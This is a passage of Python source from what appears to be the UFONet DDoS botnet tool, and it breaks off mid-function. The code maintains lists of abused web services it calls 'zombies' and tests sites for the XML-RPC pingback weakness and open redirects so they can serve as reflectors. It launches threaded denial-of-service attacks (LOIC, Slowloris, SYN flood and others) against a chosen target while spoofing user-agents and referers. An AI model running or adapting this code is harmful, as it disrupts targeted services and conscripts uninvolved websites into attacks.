  4681. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4682. return
  4683. else:
  4684. return targets
  4685. except:
  4686. if os.path.exists(options.target_list) == True:
  4687. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4688. return #sys.exit(2)
  4689. else:
  4690. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4691. return #sys.exit(2)
  4692. def update_zombies(self, zombies_ready):
  4693. # update zombies on file
  4694. options = self.options
  4695. if options.attackme:
  4696. f = open(self.zombies_file, "w") # re-write list
  4697. for zombie in self.doll.real_zombies: # add only alien verified zombies
  4698. for x in zombie:
  4699. f.write(str(x) + os.linesep)
  4700. f.close()
  4701. if options.test or options.testall:
  4702. if not options.test:
  4703. options.test = self.zombies_file
  4704. f = open(options.test, "w") # re-write list only with zombies ready
  4705. for zombie in zombies_ready:
  4706. f.write(zombie + os.linesep)
  4707. f.close()
  4708. if options.search or options.dorks or options.autosearch or options.download or options.download_github or options.download_nodes: # append only new zombies to list (dorking supported)
  4709. f = open(self.zombies_file)
  4710. zombies_on_file = f.read().splitlines()
  4711. with open(self.zombies_file, "a") as zombie_list:
  4712. for zombie in zombies_ready:
  4713. if zombie not in zombies_on_file: # parse possible repetitions
  4714. zombie_list.write(zombie + os.linesep)
  4715. if options.download or options.download_github or options.download_nodes:
  4716. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4717. else:
  4718. self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)
  4719. f.close()
  4720. def update_aliens(self, aliens_ready):
  4721. # update aliens on file
  4722. options = self.options
  4723. if options.download or options.download_github or options.download_nodes: # append only new aliens to list
  4724. f = open(self.aliens_file)
  4725. aliens_on_file = f.read().splitlines()
  4726. with open(self.aliens_file, "a") as alien_list:
  4727. for alien in aliens_ready:
  4728. if alien not in aliens_on_file: # parse possible repetitions
  4729. alien_list.write(alien + os.linesep)
  4730. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4731. f.close()
  4732. def update_droids(self, droids_ready):
  4733. # update droids on file
  4734. options = self.options
  4735. if options.download or options.download_github or options.download_nodes: # append only new droids to list
  4736. f = open(self.droids_file)
  4737. droids_on_file = f.read().splitlines()
  4738. with open(self.droids_file, "a") as droid_list:
  4739. for droid in droids_ready:
  4740. if droid not in droids_on_file: # parse possible repetitions
  4741. droid_list.write(droid + os.linesep)
  4742. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4743. f.close()
  4744. def update_ucavs(self, ucavs_ready):
  4745. # update ucavs on file
  4746. options = self.options
  4747. if options.download or options.download_github or options.download_nodes: # append only new ucavs to list
  4748. f = open(self.ucavs_file)
  4749. ucavs_on_file = f.read().splitlines()
  4750. with open(self.ucavs_file, "a") as ucav_list:
  4751. for ucav in ucavs_ready:
  4752. if ucav not in ucavs_on_file: # parse possible repetitions
  4753. ucav_list.write(ucav + os.linesep)
  4754. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4755. f.close()
  4756. def update_rpcs(self, rpcs_ready):
  4757. # update rpcs on file
  4758. options = self.options
  4759. if options.testrpc or options.testall:
  4760. f = open(self.rpcs_file, "w") # re-write list
  4761. for rpc in rpcs_ready: # add only rpc verified zombies
  4762. f.write(rpc + os.linesep)
  4763. f.close()
  4764. if options.download or options.download_github or options.download_nodes: # append only new rpcs to list
  4765. f = open(self.rpcs_file)
  4766. rpcs_on_file = f.read().splitlines()
  4767. with open(self.rpcs_file, "a") as rpc_list:
  4768. for rpc in rpcs_ready:
  4769. if rpc not in rpcs_on_file: # parse possible repetitions
  4770. rpc_list.write(rpc + os.linesep)
  4771. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4772. f.close()
  4773. def update_dnss(self, dnss_ready):
  4774. # update dns on file
  4775. options = self.options
  4776. if options.download or options.download_github or options.download_nodes: # append only new dns to list
  4777. f = open(self.dnss_file)
  4778. dnss_on_file = f.read().splitlines()
  4779. with open(self.dnss_file, "a") as dns_list:
  4780. for dns in dnss_ready:
  4781. if dns not in dnss_on_file: # parse possible repetitions
  4782. dns_list.write(dns + os.linesep)
  4783. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4784. f.close()
  4785. def update_ntps(self, ntps_ready):
  4786. # update ntps on file
  4787. options = self.options
  4788. if options.download or options.download_github or options.download_nodes: # append only new ntps to list
  4789. f = open(self.ntps_file)
  4790. ntps_on_file = f.read().splitlines()
  4791. with open(self.ntps_file, "a") as ntp_list:
  4792. for ntp in ntps_ready:
  4793. if ntp not in ntps_on_file: # parse possible repetitions
  4794. ntp_list.write(ntp + os.linesep)
  4795. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4796. f.close()
  4797. def update_snmps(self, snmps_ready):
  4798. # update snmps on file
  4799. options = self.options
  4800. if options.download or options.download_github or options.download_nodes: # append only new snmps to list
  4801. f = open(self.snmps_file)
  4802. snmps_on_file = f.read().splitlines()
  4803. with open(self.snmps_file, "a") as snmp_list:
  4804. for snmp in snmps_ready:
  4805. if snmp not in snmps_on_file: # parse possible repetitions
  4806. snmp_list.write(snmp + os.linesep)
  4807. self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)
  4808. f.close()
  4809. def search_rpc(self, rpc_host):
  4810. options = self.options
  4811. rpc_vulnerable = False
  4812. rpc_pingback_url = False
  4813. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4814. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4815. try:
  4816. if self.options.testall: # testing_all
  4817. if options.proxy: # set proxy
  4818. self.proxy_transport(options.proxy)
  4819. req = urllib.request.Request(rpc_host, None, headers)
  4820. rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4821. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4822. for link in rpc_links:
  4823. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4824. rpc_pingback_url = link[0]
  4825. rpc_vulnerable = True
  4826. break # found it!
  4827. else: # not any XML-RPC discovering methods are working
  4828. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4829. rpc_vulnerable = False
  4830. else:
  4831. if rpc_host.startswith("http://"):
  4832. rpc_host = rpc_host.replace("http://", "")
  4833. if rpc_host.startswith("https://"):
  4834. rpc_host = rpc_host.replace("https://", "")
  4835. rpc_host = urlparse(rpc_host)
  4836. rpc_path = rpc_host.path.replace("\r", "")
  4837. self.head = True # send HTTP HEAD request searching for: X-Pingback
  4838. reply = self.connect_zombie(rpc_path)
  4839. self.head = False
  4840. if "X-Pingback" in reply: # discovering pingback-enabled resources
  4841. m = re.search('X-Pingback: (.+?)\n', reply) # regex magics
  4842. rpc_pingback_url = m.group(1) # extract rpc server url
  4843. rpc_vulnerable = True
  4844. else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)
  4845. if options.proxy: # set proxy
  4846. self.proxy_transport(options.proxy)
  4847. req_rpc = urllib.request.Request(rpc_host, None, headers)
  4848. req_rpc.get_method = lambda : 'GET'
  4849. rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')
  4850. rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)
  4851. for link in rpc_links:
  4852. if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)
  4853. rpc_pingback_url = link[0]
  4854. rpc_vulnerable = True
  4855. break # found it!
  4856. else: # not any XML-RPC discovering methods are working
  4857. rpc_pingback_url = rpc_host + "/xmlrpc.php"
  4858. rpc_vulnerable = False
  4859. except: # something wrong discovering XML-RPC Pingback
  4860. pass
  4861. return rpc_vulnerable, rpc_pingback_url
  4862. def testing_offline(self):
  4863. # check for zombies offline
  4864. print ("\n[Info] [AI] Checking (sending HTTP HEAD requests) for [Zombies] offline...\n")
  4865. print('='*35)
  4866. zombies_online = 0
  4867. zombies_offline = 0
  4868. zombies = self.extract_zombies()
  4869. rpcs = self.extract_rpcs()
  4870. aliens = self.extract_aliens()
  4871. droids = self.extract_droids()
  4872. ucavs = self.extract_ucavs()
  4873. try:
  4874. botnet = zombies + rpcs + aliens + droids + ucavs
  4875. except:
  4876. return
  4877. discarded = [] # for discarded zombies
  4878. if not botnet:
  4879. return
  4880. self.head = True
  4881. for zombie in botnet:
  4882. zombie = str(zombie)
  4883. if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)
  4884. zombie_type = 'Zombie'
  4885. elif zombie in rpcs:
  4886. zombie_type = 'XML-RPC'
  4887. elif zombie in aliens:
  4888. zombie_type = 'Alien'
  4889. elif zombie in droids:
  4890. zombie_type = 'Droid'
  4891. elif zombie in ucavs:
  4892. zombie_type = 'UCAV'
  4893. t = urlparse(zombie)
  4894. name_zombie = t.netloc
  4895. if name_zombie == "":
  4896. name_zombie = zombie
  4897. if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;
  4898. sep = ';$POST;'
  4899. zombie = zombie.split(sep, 1)[0]
  4900. try:
  4901. reply = str(self.connect_zombie(zombie))
  4902. except:
  4903. reply = None
  4904. if reply:
  4905. if reply == "200" or reply == "301" or reply == "302":
  4906. status = "ONLINE! -> [OK!]"
  4907. else:
  4908. status = "ONLINE! -> [BUT replying an INVALID HTTP CODE]"
  4909. zombies_online = zombies_online + 1
  4910. else:
  4911. status = "NOT Working!"
  4912. zombies_offline = zombies_offline + 1
  4913. print("\nName:", name_zombie)
  4914. print("Type: [", zombie_type, "]")
  4915. print("Vector:", zombie)
  4916. print("HTTP Code: [", reply, "]")
  4917. print("STATUS:", status)
  4918. print('-'*21)
  4919. if status == "NOT Working!": # add to discarded zombies
  4920. if zombie not in discarded:
  4921. discarded.append(zombie)
  4922. print("\n" + '='*52)
  4923. print("\n+ Total Botnet:", len(botnet))
  4924. print("\n" + '-'*25 + "\n")
  4925. print(" - ONLINE:", zombies_online)
  4926. print(" - OFFLINE:", zombies_offline, "\n")
  4927. print('='*52 + '\n')
  4928. self.head = False
  4929. if zombies_offline > 0:
  4930. if not self.options.forceyes:
  4931. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  4932. print('-'*25 + "\n")
  4933. else:
  4934. test_reply = "Y"
  4935. if test_reply == "n" or test_reply == "N":
  4936. print("[AI] "+self.exit_msg+"\n")
  4937. return
  4938. else:
  4939. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4940. print('='*52)
  4941. print("\n - DISCARDED:", disc_zombies)
  4942. new_botnet = int(len(botnet) - disc_zombies)
  4943. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  4944. print('='*52 + '\n')
  4945. else:
  4946. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  4947. def send_extra_zombies(self):
  4948. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  4949. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  4950. if self.options.verbose:
  4951. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  4952. aliens = [self.extract_aliens()] # extract aliens from file to a list
  4953. for a in aliens:
  4954. if a is None:
  4955. self.options.disablealiens = True
  4956. self.total_aliens = 0 # not any alien invoked
  4957. else:
  4958. for s in a: # extract number of aliens
  4959. self.total_aliens = self.total_aliens + 1
  4960. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  4961. al.start()
  4962. else:
  4963. self.options.disablealiens = True
  4964. self.total_aliens = 0 # not any alien invoked
  4965. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  4966. if self.options.verbose:
  4967. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  4968. droids = [self.extract_droids()] # extract droids from file to a list
  4969. for d in droids:
  4970. if d is None:
  4971. self.options.disabledroids = True
  4972. self.total_droids = 0 # not any droid invoked
  4973. else:
  4974. for s in d: # extract number of droids
  4975. self.total_droids = self.total_droids + 1
  4976. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  4977. dr.start()
  4978. else:
  4979. self.options.disabledroids = True
  4980. self.total_droids = 0 # not any droid invoked
  4981. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  4982. if self.options.verbose:
  4983. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  4984. rpcs = [self.extract_rpcs()] # extract rpcs from file to a list
  4985. for r in rpcs:
  4986. if r is None:
  4987. self.options.disablerpcs = True
  4988. self.total_rpcs = 0 # not any rpc invoked
  4989. else:
  4990. for s in r: # extract number of rpcs
  4991. self.total_rpcs = self.total_rpcs + 1
  4992. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  4993. rp.start()
  4994. else:
  4995. self.options.disablerpcs = True
  4996. self.total_rpcs = 0 # not any rpcs invoked
  4997. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  4998. if self.options.verbose:
  4999. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  5000. ucavs = [self.extract_ucavs()] # extract ucavs from file to a list
  5001. for u in ucavs:
  5002. if u is None:
  5003. self.options.disableucavs = True
  5004. self.total_ucavs = 0 # not any ucav invoked
  5005. else:
  5006. for s in u: # extract number of ucavs
  5007. self.total_ucavs = self.total_ucavs + 1
  5008. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5009. uc.start()
  5010. else:
  5011. self.options.disableucavs = True
  5012. self.total_ucavs = 0 # not any ucavs invoked
  5013. def abandoning_zombies(self):
  5014. if self.options.expire: # set timing for purge
  5015. try:
  5016. timing = int(self.options.expire)
  5017. except:
  5018. timing = self.expire_timing # default timing for purge
  5019. else:
  5020. timing = self.expire_timing # default timing for purge
  5021. if timing < 1:
  5022. timing = self.expire_timing # default timing for purge
  5023. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5024. zombies_lock = 0
  5025. if self.options.verbose:
  5026. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5027. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5028. zombies_lock = zombies_lock + 1
  5029. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5030. if self.options.verbose:
  5031. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5032. break
  5033. else:
  5034. time.sleep(1)
  5035. def discard_zombies(self, discarded):
  5036. disc_zombies = 0
  5037. if self.options.testoffline:
  5038. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5039. else:
  5040. zombies_list = [self.zombies_file]
  5041. if not self.options.disablealiens: # add aliens
  5042. zombies_list.append(self.aliens_file)
  5043. if not self.options.disabledroids: # add droids
  5044. zombies_list.append(self.droids_file)
  5045. if not self.options.disablerpcs: # add rpcs
  5046. zombies_list.append(self.rpcs_file)
  5047. if not self.options.disableucavs: # add ucavs
  5048. zombies_list.append(self.ucavs_file)
  5049. for l in zombies_list:
  5050. f = open(l, "r+")
  5051. d = f.readlines()
  5052. f.close()
  5053. f = open(l, "w")
  5054. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5055. f.close()
  5056. return disc_zombies
  5057. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5058. m = []
  5059. for zombie in d:
  5060. if zombie not in discarded == True:
  5061. m.append(zombie) # save it
  5062. else:
  5063. disc_zombies = disc_zombies + 1
  5064. if not m:
  5065. f.write("")
  5066. else:
  5067. for z in m:
  5068. f.write(z+os.linesep)
  5069. return disc_zombies
  5070. def parse_url_encoding(self, target):
  5071. t = urlparse(target)
  5072. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5073. path = urllib.parse.quote(t.path.encode('utf-8'))
  5074. query = urllib.parse.quote(t.query.encode('utf-8'))
  5075. if query:
  5076. if path.endswith(""):
  5077. path.replace("", "/")
  5078. query = urllib.parse.quote(t.query.encode('utf-8'))
  5079. target = t.scheme+"://"+host + path + "?" + query
  5080. else:
  5081. target = t.scheme+"://"+host + path
  5082. return target
  5083. def testing_rpcs(self, rpcs):
  5084. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5085. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5086. options = self.options
  5087. if self.options.testall: #testing_all
  5088. print('='*51)
  5089. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5090. print('='*51)
  5091. num_active_rpcs = 0
  5092. num_failed_rpcs = 0
  5093. rpcs_ready = []
  5094. print("Trying:", len(rpcs))
  5095. print('-'*21)
  5096. for rpc in rpcs:
  5097. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5098. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5099. if rpc.startswith("http://") or rpc.startswith("https://"):
  5100. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5101. rpc_host = rpc.replace("/xmlrpc.php", "")
  5102. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5103. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5104. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5105. try:
  5106. if options.proxy: # set proxy
  5107. self.proxy_transport(options.proxy)
  5108. try:
  5109. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5110. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5111. except:
  5112. if DEBUG == True:
  5113. traceback.print_exc()
  5114. if self.options.verbose:
  5115. print("[Info] [X-RPCs] Reply:", target_reply)
  5116. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5117. print("[Info] [AI] -> [VULNERABLE!]")
  5118. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5119. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5120. else:
  5121. print("[Info] [AI] -> [NOT vulnerable...]")
  5122. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5123. except:
  5124. print("[Info] [AI] -> [NOT vulnerable...]")
  5125. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5126. else:
  5127. print("[Info] [AI] -> [NOT vulnerable...]")
  5128. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5129. print('-'*21)
  5130. print('='*18)
  5131. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5132. print('='*18)
  5133. if self.options.testall: # testing_all
  5134. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5135. else:
  5136. # update 'rpcs' list
  5137. if num_active_rpcs == 0:
  5138. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5139. return
  5140. else:
  5141. if not self.options.forceyes:
  5142. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5143. print('-'*25)
  5144. else:
  5145. update_reply = "Y"
  5146. if update_reply == "n" or update_reply == "N":
  5147. print("[AI] "+self.exit_msg+"\n")
  5148. return
  5149. else:
  5150. self.update_rpcs(rpcs_ready)
  5151. if not self.options.upload:
  5152. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5153. def testing(self, zombies):
  5154. # test Open Redirect exploiting and show statistics
  5155. # HTTP HEAD check
  5156. army = 0
  5157. print ("Are 'they' alive? :-) (HEAD Check):")
  5158. print('='*35)
  5159. num_active_zombies = 0
  5160. num_failed_zombies = 0
  5161. active_zombies = []
  5162. print("Trying:", len(zombies))
  5163. print('-'*21)
  5164. for zombie in zombies:
  5165. zombie = str(zombie)
  5166. if zombie.startswith("http://") or zombie.startswith("https://"):
  5167. # send HEAD connection
  5168. self.head = True
  5169. try:
  5170. self.connect_zombies(zombie)
  5171. except:
  5172. pass
  5173. while self.herd.no_more_zombies() == False:
  5174. time.sleep(1)
  5175. for zombie in self.herd.done:
  5176. zombie = str(zombie)
  5177. t = urlparse(zombie)
  5178. if self.herd.get_result(zombie):
  5179. code_reply = self.herd.get_result(zombie)
  5180. self.head = False
  5181. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5182. name_zombie = t.netloc
  5183. if name_zombie == "":
  5184. name_zombie = zombie
  5185. print("Zombie:", name_zombie)
  5186. print("Status: OK ["+ code_reply + "]")
  5187. num_active_zombies = num_active_zombies + 1
  5188. active_zombies.append(zombie)
  5189. elif code_reply == "401":
  5190. print("Zombie:", t.netloc)
  5191. print("Status: Unauthorized ["+ code_reply + "]")
  5192. num_failed_zombies = num_failed_zombies + 1
  5193. elif code_reply == "403":
  5194. print("Zombie:", t.netloc)
  5195. print("Status: Error Forbidden ["+ code_reply + "]")
  5196. num_failed_zombies = num_failed_zombies + 1
  5197. elif code_reply == "404":
  5198. print("Zombie:", t.netloc)
  5199. print("Status: Not Found ["+ code_reply + "]")
  5200. num_failed_zombies = num_failed_zombies + 1
  5201. elif code_reply == "500":
  5202. print("Zombie:", t.netloc)
  5203. print("Status: Internal Server Error ["+ code_reply + "]")
  5204. num_failed_zombies = num_failed_zombies + 1
  5205. else:
  5206. print("Zombie:", t.netloc, "\nVector:", zombie)
  5207. print("Status: Not Allowed ["+ code_reply + "]")
  5208. num_failed_zombies = num_failed_zombies + 1
  5209. else:
  5210. if self.options.verbose:
  5211. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5212. print("Zombie:", zombie)
  5213. print("Status: Malformed!")
  5214. num_failed_zombies = num_failed_zombies + 1
  5215. print('-'*10)
  5216. self.herd.reset()
  5217. print('='*18)
  5218. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5219. print('='*18 + "\n")
  5220. print('='*22)
  5221. if num_active_zombies > 0:
  5222. # check url parameter vectors
  5223. print ("Checking for payloads:")
  5224. print('='*22)
  5225. print("Trying:", num_active_zombies)
  5226. print('-'*21)
  5227. zombies_ready = []
  5228. num_waiting_zombies = 0
  5229. if num_active_zombies == 0:
  5230. num_disconnected_zombies = num_failed_zombies
  5231. else:
  5232. num_disconnected_zombies = 0
  5233. for zombie in active_zombies:
  5234. zombie = str(zombie)
  5235. t = urlparse(zombie)
  5236. name_zombie = t.netloc
  5237. if name_zombie == "":
  5238. name_zombie = zombie
  5239. self.payload = True
  5240. try:
  5241. self.connect_zombies(zombie)
  5242. except:
  5243. pass
  5244. self.payload = False
  5245. while self.herd.no_more_zombies() == False:
  5246. time.sleep(1)
  5247. for zombie in self.herd.done:
  5248. zombie = str(zombie)
  5249. t = urlparse(zombie)
  5250. name_zombie = t.netloc
  5251. if name_zombie == "":
  5252. name_zombie = zombie
  5253. payload_zombie = zombie
  5254. payload_reply = ""
  5255. print("Vector:", payload_zombie)
  5256. self.payload = True
  5257. if self.herd.get_result(zombie):
  5258. payload_reply = self.herd.get_result(zombie)
  5259. self.payload = False
  5260. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5261. num_waiting_zombies = num_waiting_zombies + 1
  5262. print("Status:", "Waiting for orders... ;-)")
  5263. zombies_ready.append(zombie)
  5264. else:
  5265. num_disconnected_zombies = num_disconnected_zombies + 1
  5266. print("Status:", "Not ready...")
  5267. army = army + 1
  5268. print('-'*10)
  5269. self.herd.reset()
  5270. print('='*18)
  5271. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5272. print('='*18 + "\n")
  5273. # list of [Zombies] ready to attack
  5274. num_active_zombie = 0
  5275. for z in zombies_ready:
  5276. t = urlparse(z)
  5277. name_zombie = t.netloc
  5278. if name_zombie == "":
  5279. name_zombie = z
  5280. num_active_zombie = num_active_zombie + 1
  5281. if self.options.verbose:
  5282. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5283. if self.options.testall: # testing_all
  5284. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5285. else:
  5286. print('-'*25 + "\n")
  5287. print('='*24)
  5288. print("Working [Zombies]:", num_active_zombie)
  5289. print('='*24)
  5290. if not self.options.upload:
  5291. if not self.options.forceyes:
  5292. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5293. print('-'*25)
  5294. else:
  5295. update_reply = "Y"
  5296. if update_reply == "n" or update_reply == "N":
  5297. print("[AI] "+self.exit_msg+"\n")
  5298. return
  5299. else:
  5300. self.update_zombies(zombies_ready)
  5301. if not self.options.upload:
  5302. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5303. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5304. else:
  5305. print('-'*25 + "\n")
  5306. print('='*24)
  5307. print("Working [Zombies]:", num_active_zombies)
  5308. print('='*24)
  5309. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5310. def testing_all(self):
  5311. # test whole botnet
  5312. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5313. print('='*35)
  5314. zombies = self.extract_zombies()
  5315. rpcs = self.extract_rpcs()
  5316. aliens = self.extract_aliens()
  5317. droids = self.extract_droids()
  5318. ucavs = self.extract_ucavs()
  5319. try:
  5320. botnet = zombies + rpcs + aliens + droids + ucavs
  5321. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5322. except:
  5323. return
  5324. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5325. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5326. print("\n" + '='*52)
  5327. print("\n+ Total Botnet:", len(botnet))
  5328. print("\n" + '-'*25)
  5329. print("\n+ Total Tested:", len(tested_zombies))
  5330. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5331. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5332. print('='*52 + '\n')
  5333. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5334. if not self.options.forceyes:
  5335. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5336. print('-'*25)
  5337. else:
  5338. update_reply = "Y"
  5339. if update_reply == "n" or update_reply == "N":
  5340. print("[AI] "+self.exit_msg+"\n")
  5341. return
  5342. else:
  5343. if num_disconnected_zombies > 0:
  5344. self.update_zombies(zombies_ready)
  5345. if num_failed_rpcs > 0:
  5346. self.update_rpcs(rpcs_ready)
  5347. if not self.options.upload:
  5348. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5349. else:
  5350. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5351. def attacking(self, zombies, target):
  5352. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5353. if self.options.forcessl:
  5354. if target.startswith("http://"):
  5355. target = target.replace("http://", "https://") # force SSL/TLS
  5356. if target.startswith("http://") or target.startswith("https://"):
  5357. print("Attacking:", target)
  5358. print('='*55, "\n")
  5359. # send Open Redirect injection (multiple zombies > one target url)
  5360. reply = self.injection(target, zombies)
  5361. else:
  5362. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  5363. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5364. # perform some other extra attacks (such as DoS techniques)
  5365. time.sleep(2) # aiming (multi-threading flow time compensation)
  5366. if loic:
  5367. try:
  5368. self.options.loic = int(loic)
  5369. except:
  5370. self.options.loic = 100 # default LOIC requests
  5371. if self.options.loic < 1:
  5372. self.options.loic = 100
  5373. self.instance = LOIC() # instance main class for LOIC operations
  5374. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5375. self.t1.daemon = True # extra weapons are threaded as daemons
  5376. self.t1.start()
  5377. self.update_loic_stats() # add new LOIC attack to mothership stats
  5378. if loris:
  5379. try:
  5380. self.options.loris = int(loris)
  5381. except:
  5382. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5383. if self.options.loris < 1:
  5384. self.options.loris = 101
  5385. self.instance = LORIS() # instance main class for LORIS operations
  5386. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5387. self.t2.daemon = True
  5388. self.t2.start()
  5389. self.update_loris_stats() # add new LORIS attack to mothership stats
  5390. if ufosyn:
  5391. try:
  5392. self.options.ufosyn = int(ufosyn)
  5393. except:
  5394. self.options.ufosyn = 100 # default UFOSYN requests
  5395. if self.options.ufosyn < 1:
  5396. self.options.ufosyn = 100
  5397. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5398. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5399. self.t3.daemon = True
  5400. self.t3.start()
  5401. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5402. if spray:
  5403. try:
  5404. self.options.spray = int(spray)
  5405. except:
  5406. self.options.spray = 100 # default SPRAY requests
  5407. if self.options.spray < 1:
  5408. self.options.spray = 100
